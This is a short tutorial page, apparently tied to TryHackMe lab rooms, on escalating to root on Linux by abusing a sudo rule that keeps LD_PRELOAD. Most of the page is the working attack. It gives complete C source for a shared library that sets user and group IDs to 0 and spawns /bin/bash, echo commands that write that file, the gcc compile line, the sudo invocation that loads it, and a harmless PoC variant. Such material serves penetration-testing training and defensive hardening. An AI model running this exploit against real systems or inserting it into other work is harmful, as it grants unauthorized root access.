Skip to content

Leverage LD_PRELOAD

On some systems, you may see the LD_PRELOAD environment option.

sudo -l
...
env_reset,env_keep+=LD_PRELOAD

LD_PRELOAD is a function that allows any program to use shared libraries. This blog post will give you an idea about the capabilities of LD_PRELOAD. If the "env_keep" option is enabled we can generate a shared library which will be loaded and executed before the program is run. Please note the LD_PRELOAD option will be ignored if the real user ID is different from the effective user ID.

The steps of this privilege escalation vector can be summarized as follows;

  1. Check for LD_PRELOAD (with the env_keep option)
  2. Write a simple C code compiled as a share object (.so extension) file
  3. Run the program with sudo rights and the LD_PRELOAD option pointing to our .so file

The C code will simply spawn a root shell and can be written as follows;

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
    unsetenv("LD_PRELOAD");
    setgid(0);
    setuid(0);
    system("/bin/bash");
}
echo '#include <stdio.h>' >> shell.c
echo '#include <sys/types.h>' >> shell.c
echo '#include <stdlib.h>' >> shell.c
echo '' >> shell.c
echo 'void _init() {' >> shell.c
echo '    unsetenv("LD_PRELOAD");' >> shell.c
echo '    setgid(0);' >> shell.c
echo '    setuid(0);' >> shell.c
echo '    system("/bin/bash");' >> shell.c
echo '}' >> shell.c

We can save this code as shell.c and compile it using gcc into a shared object file using the following parameters;

gcc -fPIC -shared -o shell.so shell.c -nostartfiles

We can now use this shared object file when launching any program our user can run with sudo. In our case, Apache2, find, or almost any of the programs we can run with sudo can be used.

We need to run the program by specifying the LD_PRELOAD option, as follows;

sudo LD_PRELOAD=/home/user/shell.so apache2

This will result in a shell spawn with root privileges.

id
root

POC


echo '#include <stdio.h>' >> shell.c
echo '#include <sys/types.h>' >> shell.c
echo '#include <stdlib.h>' >> shell.c
echo '' >> shell.c
echo 'void _init() {' >> shell.c
echo '    unsetenv("LD_PRELOAD");' >> shell.c
echo '    system("touch /tmp/poc.txt");' >> shell.c
echo '}' >> shell.c
  • https://tryhackme.com/room/linprivesc
  • https://tryhackme.com/room/linuxprivescarena (Task 10)